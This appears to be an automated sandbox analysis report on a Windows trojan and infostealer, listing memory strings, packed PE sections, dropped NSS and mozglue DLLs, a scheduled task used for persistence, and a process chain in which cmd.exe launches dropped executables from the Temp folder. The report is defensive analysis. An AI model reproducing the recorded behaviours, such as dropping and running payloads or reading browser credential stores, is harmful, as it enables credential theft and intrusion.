Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 1jPL5zru3u.exe, 00000000.00000003.1726152515.00000000230BD000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 1jPL5zru3u.exe, 00000000.00000003.1726152515.00000000230BD000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000DFA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B48000.00000004.00000020.00020000.00000000.sdmp, DBKFHCFBGIIJKFHJDHDH.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: 1jPL5zru3u.exe, 00000000.00000003.1726842265.0000000001A9D000.00000004.00000020.00020000.00000000.sdmp, JJKEBGHJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/VxHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 1jPL5zru3u.exe, 00000000.00000003.1803657208.00000000293A0000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 1jPL5zru3u.exe, 00000000.00000003.1803657208.00000000293A0000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJJEHCFC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 1jPL5zru3u.exe, 00000000.00000002.1858205526.0000000000CF8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: .idata
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:

PE file has nameless sections

Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C3EED10
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C42B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C42B700
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C42B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C42B8C0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C42B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C42B910
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C3CF280

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3C35A0	0_2_6C3C35A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C43545C	0_2_6C43545C
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C43AC00	0_2_6C43AC00
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C405C10	0_2_6C405C10
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C412C10	0_2_6C412C10
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C43542B	0_2_6C43542B
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3D5440	0_2_6C3D5440
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C406CF0	0_2_6C406CF0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3D6C80	0_2_6C3D6C80
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CD4E0	0_2_6C3CD4E0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4234A0	0_2_6C4234A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C42C4A0	0_2_6C42C4A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3ED4D0	0_2_6C3ED4D0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3D64C0	0_2_6C3D64C0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3F0512	0_2_6C3F0512
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3EED10	0_2_6C3EED10
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3DFD00	0_2_6C3DFD00
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C400DD0	0_2_6C400DD0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4285F0	0_2_6C4285F0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C412E4E	0_2_6C412E4E
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C403E50	0_2_6C403E50
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C436E63	0_2_6C436E63
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C415600	0_2_6C415600
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CC670	0_2_6C3CC670
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C407E10	0_2_6C407E10
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3E9E50	0_2_6C3E9E50
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C429E30	0_2_6C429E30
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3E4640	0_2_6C3E4640
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4376E3	0_2_6C4376E3
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3E5E90	0_2_6C3E5E90
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C42E680	0_2_6C42E680
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CBEF0	0_2_6C3CBEF0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3DFEF0	0_2_6C3DFEF0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C424EA0	0_2_6C424EA0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3D9F00	0_2_6C3D9F00
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C407710	0_2_6C407710
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3F6FF0	0_2_6C3F6FF0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CDFE0	0_2_6C3CDFE0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4177A0	0_2_6C4177A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3D7810	0_2_6C3D7810
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C40F070	0_2_6C40F070
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C40B820	0_2_6C40B820
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C414820	0_2_6C414820
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3E8850	0_2_6C3E8850
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3ED850	0_2_6C3ED850
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4350C7	0_2_6C4350C7
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3F60A0	0_2_6C3F60A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4058E0	0_2_6C4058E0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3EC0E0	0_2_6C3EC0E0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C41B970	0_2_6C41B970
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C43B170	0_2_6C43B170
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3DD960	0_2_6C3DD960
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3EA940	0_2_6C3EA940
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3FD9B0	0_2_6C3FD9B0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CC9A0	0_2_6C3CC9A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C405190	0_2_6C405190
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C422990	0_2_6C422990
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C409A60	0_2_6C409A60
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C408AC0	0_2_6C408AC0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3DCAB0	0_2_6C3DCAB0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3C22A0	0_2_6C3C22A0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3F4AA0	0_2_6C3F4AA0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C40E2F0	0_2_6C40E2F0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3E1AF0	0_2_6C3E1AF0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C43BA90	0_2_6C43BA90
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C432AB0	0_2_6C432AB0
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3DC370	0_2_6C3DC370
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C40D320	0_2_6C40D320
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3C5340	0_2_6C3C5340
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C4353C8	0_2_6C4353C8
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3CF380	0_2_6C3CF380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BA4CD0	10_2_00BA4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BE3048	10_2_00BE3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BD7D63	10_2_00BD7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BE6EE9	10_2_00BE6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BA4AD0	10_2_00BA4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BE763B	10_2_00BE763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BE2BB0	10_2_00BE2BB0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BE8700	10_2_00BE8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BE775B	10_2_00BE775B

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: String function: 6C4094D0 appears 90 times
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: String function: 6C3FCBE8 appears 134 times

Source: 1jPL5zru3u.exe, 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 1jPL5zru3u.exe
Source: 1jPL5zru3u.exe, 00000000.00000002.1860013089.0000000001B5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCm1 vs 1jPL5zru3u.exe
Source: 1jPL5zru3u.exe, 00000000.00000002.1889717651.000000006C645000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 1jPL5zru3u.exe

Source: 1jPL5zru3u.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1jPL5zru3u.exe	Static PE information: Section: ZLIB complexity 0.9994759908536586
Source: 1jPL5zru3u.exe	Static PE information: Section: ZLIB complexity 0.9935302734375
Source: 1jPL5zru3u.exe	Static PE information: Section: ZLIB complexity 0.9891357421875
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983723958333334
Source: amadka[1].exe.0.dr	Static PE information: Section: ltpqnbtv ZLIB complexity 0.9945090835345608
Source: CAEHDBAAEC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983723958333334
Source: CAEHDBAAEC.exe.0.dr	Static PE information: Section: ltpqnbtv ZLIB complexity 0.9945090835345608
Source: explorti.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9983723958333334
Source: explorti.exe.6.dr	Static PE information: Section: ltpqnbtv ZLIB complexity 0.9945090835345608

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@15/27@0/3

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C427030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C427030

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5244:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

File created: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe

Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 1jPL5zru3u.exe, 00000000.00000003.1726152515.00000000230B4000.00000004.00000020.00020000.00000000.sdmp, DGDBKFBAKFBFHIECFBFI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: 1jPL5zru3u.exe, 00000000.00000002.1876202347.000000001D13D000.00000004.00000020.00020000.00000000.sdmp, 1jPL5zru3u.exe, 00000000.00000002.1889066952.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: CAEHDBAAEC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 1jPL5zru3u.exe	String found in binary or memory: uy/AdD

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

File read: C:\Users\user\Desktop\1jPL5zru3u.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\1jPL5zru3u.exe "C:\Users\user\Desktop\1jPL5zru3u.exe"
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FHJKKECFIE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
